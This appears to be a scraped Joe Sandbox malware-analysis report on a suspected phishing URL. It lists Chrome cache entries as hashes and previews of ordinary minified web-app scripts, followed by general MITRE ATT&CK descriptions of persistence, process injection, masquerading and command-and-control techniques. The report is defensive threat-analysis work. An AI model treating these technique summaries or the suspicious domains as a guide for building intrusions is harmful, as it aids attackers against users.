#ccc;border-radius:5px}.Home_buttonContainer__nOVuY{display:flex;flex-direction:column;align-items:center;margin-top:20px}.Home_nextButton__r_Kss,.Home_submitButton__ECzIY{background-color:#00008b;color:#fff;padding:10px 20px;border:none;border-radius:5px;

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (559), with no line terminators
Category:	dropped
Size (bytes):	559
Entropy (8bit):	5.429998219749573
Encrypted:	false
SSDEEP:
MD5:	E3C00B15D62364DC5D348A464FFA6DC1
SHA1:	C33D42C4D2248BB786093B616C65E892C643211E
SHA-256:	8984EDFF9D6BB093FF764D369B6671C3B3B5E2116101A04FE7C98491D2FE1CC8
SHA-512:	043406BE26BA373D47906D226AAF2E36A975EE120648D3399169CE1CD7AAC9527D6B0CD673D19FAD5A702513031A4E4F16FE309CF0CD816B8525CEEE09B67F64
Malicious:	false
Reputation:	unknown
Preview:	self.__BUILD_MANIFEST=function(e,r,s){return{__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},__routerFilterStatic:{numItems:0,errorRate:1e-4,numBits:0,numHashes:null,bitArray:[]},__routerFilterDynamic:{numItems:0,errorRate:1e-4,numBits:e,numHashes:null,bitArray:[]},"/":["static/chunks/505-9e2e874ee1d3229d.js","static/css/dfec9835995d9658.css","static/chunks/pages/index-e91d7dfda78ecd72.js"],"/_error":["static/chunks/pages/_error-fde50cb7f1ab27e0.js"],sortedPages:["/","/_app","/_error"]}}(0,0,0),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1458)
Category:	downloaded
Size (bytes):	1794
Entropy (8bit):	5.306269084096737
Encrypted:	false
SSDEEP:
MD5:	97A43473AA78B78ECF0A684CDE18EE3F
SHA1:	53B18117BFA88BDC708AD1E11FF76CDECFE2DCA7
SHA-256:	5B18257371461BFF25B5C87C8E8E6DD0EF60593BCF526BB2F6C9ED2805967790
SHA-512:	0120E8BCD9AA319A0953B8D402E5303355179F45C4B6EE353282D2C4AB191C347E9DBE79942B8848931E04DDA1668D7D864A36BCC5D60BA0239A08249CD3E42B
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/_next/static/chunks/webpack-8cac0b4b405cede1.js
Preview:	(()=>{"use strict";var e={},r={};function t(o){var n=r[o];if(void 0!==n)return n.exports;var i=r[o]={exports:{}},l=!0;try{e[o](i,i.exports,t),l=!1}finally{l&&delete r[o]}return i.exports}t.m=e,(()=>{var e=[];t.O=(r,o,n,i)=>{if(o){i=i\|\|0;for(var l=e.length;l>0&&e[l-1][2]>i;l--)e[l]=e[l-1];e[l]=[o,n,i];return}for(var a=1/0,l=0;l<e.length;l++){for(var[o,n,i]=e[l],u=!0,f=0;f<o.length;f++)(!1&i\|\|a>=i)&&Object.keys(t.O).every(e=>t.O[e](o[f]))?o.splice(f--,1):(u=!1,i<a&&(a=i));if(u){e.splice(l--,1);var s=n();void 0!==s&&(r=s)}}return r}})(),t.n=e=>{var r=e&&e.__esModule?()=>e.default:()=>e;return t.d(r,{a:r}),r},t.d=(e,r)=>{for(var o in r)t.o(r,o)&&!t.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:r[o]})},t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|Function("return this")()}catch(e){if("object"==typeof window)return window}}(),t.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r),t.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.definePro

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2018), with no line terminators
Category:	downloaded
Size (bytes):	2018
Entropy (8bit):	5.265198706982928
Encrypted:	false
SSDEEP:
MD5:	A641F5930FE3A8CD5B60E46F2C50D179
SHA1:	C678CF618EEE51D7F10C3196071CFD8677F10E0E
SHA-256:	537C439828ED6DE8BA6C8B90A397608A5717044879569602BF8BDB65AB89AA83
SHA-512:	07E61BF4C67F58E3EA51ED2D099CFB42C4B65590856D9F9DCB0ECF6BB8E244189405EA1C518579522ED43F1D987A1096903877FA7256520B86BE811989DC325A
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/
Preview:	<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><link rel="preload" href="/_next/static/css/05a702e55f1806c7.css" as="style"/><link rel="preload" href="/_next/static/css/dfec9835995d9658.css" as="style"/><link rel="stylesheet" href="/_next/static/css/05a702e55f1806c7.css" data-n-g=""/><link rel="stylesheet" href="/_next/static/css/dfec9835995d9658.css" data-n-p=""/><noscript data-n-css=""></noscript><script defer="" noModule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-8cac0b4b405cede1.js" defer=""></script><script src="/_next/static/chunks/framework-1ee1b762209da1bd.js" defer=""></script><script src="/_next/static/chunks/main-bc5cca2169ff8412.js" defer=""></script><script src="/_next/static/chunks/pages/_app-bc94df786567e722.js" defer=""></script><script src="/_next/static/chunks/505-9e2e874ee1d3229d.js" defer=""></script><script s

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.37144473219773
Encrypted:	false
SSDEEP:
MD5:	B6652DF95DB52FEB4DAF4ECA35380933
SHA1:	65451D110137761B318C82D9071C042DB80C4036
SHA-256:	6F5B4AA00D2F8D6AED9935B471806BF7ACEF464D0C1D390260E5FE27F800C67E
SHA-512:	3390C5663EF9081885DF8CDBC719F6C2F1597A4E25168529598097E9472608A4A62EC7F7E0BC400D22AAC81BF6EA926532886E4DC6E4E272D3B588490A090473
Malicious:	false
Reputation:	unknown
Preview:	self.__SSG_MANIFEST=new Set,self.__SSG_MANIFEST_CB&&self.__SSG_MANIFEST_CB();

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 920, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	580703
Entropy (8bit):	7.96847734645623
Encrypted:	false
SSDEEP:
MD5:	FF1088D824EB1737F6D43CC1AFE1A02F
SHA1:	DB17FB9C7E6AEEFEBC6C4D626C3D55B33E79CECE
SHA-256:	5E436210458B346BA020CE0A74708D0EAB369B8B2CF68E6768319C9B43560FD5
SHA-512:	0C96F310A2BAF6563170D370F20AFC46AD750EEDE83A6E00CB09868B4A6EA5F6EACE67162D9267641CB34162A0A6680AC285CC2903AB46E2B90E9B0ECA510CE4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............4h.#....sRGB.........gAMA......a.....pHYs...t...t..f.x....IDATx^..g.,.u&....0.........dHJ"EQ-.-.....53.._c.5...5o.73.Z.V.=.n...)R.=.:.4.Hx.....T..o..'NFdFVeVeU./o.w..................,j^=.baeF;..X...@ .....@ .....@ .....e.).EA.l...l.C.e.}N.....u.<q...c.5....@ .....@ .....@ ........;'....6...j.xh`.Q..ScR0q...V.^...@ .....@ .....@ ......g.j.....Q....:\h.#...h..=\.{.....@ .....@ .....@ .........K..\|G.y.8u0........0.....@ .....@ .....@ 0.X..U...6.aG5p.8....X.....+....@ .....@ .....@ .......c...rB...uD....@.J.....X.{...2.....@ .....@ .....@ ...z.&h/m(.F.....e.&j0c....@ .....@ .....@ ......J..X......(-.....%.D.f,X.{.....@ .....@ .....@ .X.X..^...6.rDS..w...K..............Dbn.....@ .......)#fk...@ .....+......e..>k....X.....@ ..)l.wv......"p.....@ ..0%.....4.fm,....@ ..,.b!x.0!.........@ 0r`.wv..;+.rn...........@ .Z0;;#........hjz:....@ .....+.U..g...t...:\|.uz.W.g.E.c.u.n..<Z.n...%\.^.........@`)...gN..ki..f....@ .X.8q

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17979), with no line terminators
Category:	dropped
Size (bytes):	17979
Entropy (8bit):	5.29731697786781
Encrypted:	false
SSDEEP:
MD5:	86FE425FA9013D1F3240440D8B5082B8
SHA1:	F5CB4BD1C90B97828637864BBAD3C3854A8DCF5B
SHA-256:	D41484D76161B953622FA8DCF795B36E389875DB8E80C2123B53BF309EC9EE66
SHA-512:	558E3B8B7191F2C8A0551D4284AC730C7A9535B2922FD922864F2D0EC9BA42539C4C461A417E96ABFC7BEF7A9C91DC3647A6FDCC9A5B7FA425DAE9B57862BE90
Malicious:	false
Reputation:	unknown
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[505],{2505:(e,t,r)=>{e.exports=r(8015)},5592:(e,t,r)=>{"use strict";var n=r(9516),o=r(7522),s=r(3948),i=r(9106),a=r(9615),u=r(2012),c=r(4202),f=r(7763);e.exports=function(e){return new Promise(function(t,r){var p=e.data,l=e.headers,d=e.responseType;n.isFormData(p)&&delete l["Content-Type"];var h=new XMLHttpRequest;if(e.auth){var m=e.auth.username\|\|"",g=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";l.Authorization="Basic "+btoa(m+":"+g)}var v=a(e.baseURL,e.url);function y(){if(h){var n="getAllResponseHeaders"in h?u(h.getAllResponseHeaders()):null;o(t,r,{data:d&&"text"!==d&&"json"!==d?h.response:h.responseText,status:h.status,statusText:h.statusText,headers:n,config:e,request:h}),h=null}}if(h.open(e.method.toUpperCase(),i(v,e.params,e.paramsSerializer),!0),h.timeout=e.timeout,"onloadend"in h?h.onloadend=y:h.onreadystatechange=function(){h&&4===h.readyState&&(0!==h.status\|\|h.responseURL&&0===h.responseURL.indexOf(

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65465)
Category:	downloaded
Size (bytes):	141509
Entropy (8bit):	5.265617642370106
Encrypted:	false
SSDEEP:
MD5:	61F939AE3F923268BD07C4BDC8922169
SHA1:	9EBFDEBA15F8F90DFB264A444B58E0E78B72ED9D
SHA-256:	9DF45820953F5CD3E859457DD29CC48A900F6B4CA0E402EDBBF237222469F697
SHA-512:	5AE116CC03DDB1624A7259B197F8C7F7C41BD6637746C5B59CE17AFD0AB103C008B1DC6E86AC95FF4B757203F0F38450A81379BB390C2F2F9364D59CBF996B2F
Malicious:	false
Reputation:	unknown
URL:	https://bu.marcel-andree.de/static/js/main.103925a0.js
Preview:	/! For license information please see main.103925a0.js.LICENSE.txt /.(()=>{"use strict";var e={730:(e,n,t)=>{var r=t(43),l=t(853);function a(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var o=new Set,u={};function i(e,n){s(e,n),s(e+"Capture",n)}function s(e,n){for(u[e]=n,e=0;e<n.length;e++)o.add(n[e])}var c=!("undefined"===typeof window\|\|"undefined"===typeof window.document\|\|"undefined"===typeof window.document.createElement),f=Object.prototype.hasOwnProperty,d=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u30

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	113814
Entropy (8bit):	5.398326238584444
Encrypted:	false
SSDEEP:
MD5:	6A40BF625AC80DAC20CFF570F8C44D82
SHA1:	288149DBE165F6EC3C52C30F175FEBEBC69B25C1
SHA-256:	929166AD32BF0261E53E7DC11888D9E9905AC37B4A63B5299378BD6500B69A0B
SHA-512:	90B590C34DCE4F027A6F71060B9BA10B5CB2AD348C42A743DEBE0526BFEFC29475E4E05EE0F911B8A20FB0BEF7941C556ADCF15EF37F22184ED8CBA6ED218AF8
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/_next/static/chunks/main-bc5cca2169ff8412.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[792],{8925:(e,t)=>{"use strict";function r(){return""}Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"getDeploymentIdQueryOrEmptyString",{enumerable:!0,get:function(){return r}})},4599:()=>{"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"description"in Symbol.prototype\|\|Object.defineProperty(Symbol.prototype,"description",{configurable:!0,get:function(){var e=/$(.*)$/.exec(this.toString());return e?e[1]:void 0}}),Array.prototype.flat\|\|(Array.prototype.flat=function(e,t){return t=this.concat.apply([],this),e>1&&t.some(Array.isArray)?t.flat(e-1):t},Array.prototype.flatMap=function(e,t){return this.map(e,t).flat()}),Promise.prototype.finally\|\|(Promise.prototype.finally=function(e){if("function"!=typeof e)return this.then(e,e);var t=this.constructor\|\|Promise;return this.then(function(

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (317), with no line terminators
Category:	downloaded
Size (bytes):	317
Entropy (8bit):	4.840511553465553
Encrypted:	false
SSDEEP:
MD5:	86E25B4AD7CCA64D147D0F796CFBB00C
SHA1:	4E6F6CDDF8F9B1EA9DF5468E9E225608F1288B78
SHA-256:	6ADB34AE8DBD183632AA3BB672CC1BA138073A7E50EC179257C6A9226B4E73DD
SHA-512:	30DFBDC79ECE788A3D8220718CB3A47E4A67FE5CAAED46E116ACD1F11BBBF10919BEBA97D8B3B5753C7C90A3CBC56F69A97BC5B932E2ECFBE02D2A2D8F58D544
Malicious:	false
Reputation:	unknown
URL:	https://bu.marcel-andree.de/
Preview:	<!doctype html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Rdm</title><script defer="defer" src="/static/js/main.103925a0.js"></script><link href="/static/css/main.8dcd9789.css" rel="stylesheet"></head><body><div id="root"></div></body></html>

Static File Info

⊘No static file info

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://bu.marcel-andree.de/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 102

Chrome Cache Entry: 104

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 111

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 84

Chrome Cache Entry: 87

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Static File Info

Windows Analysis Report
https://bu.marcel-andree.de/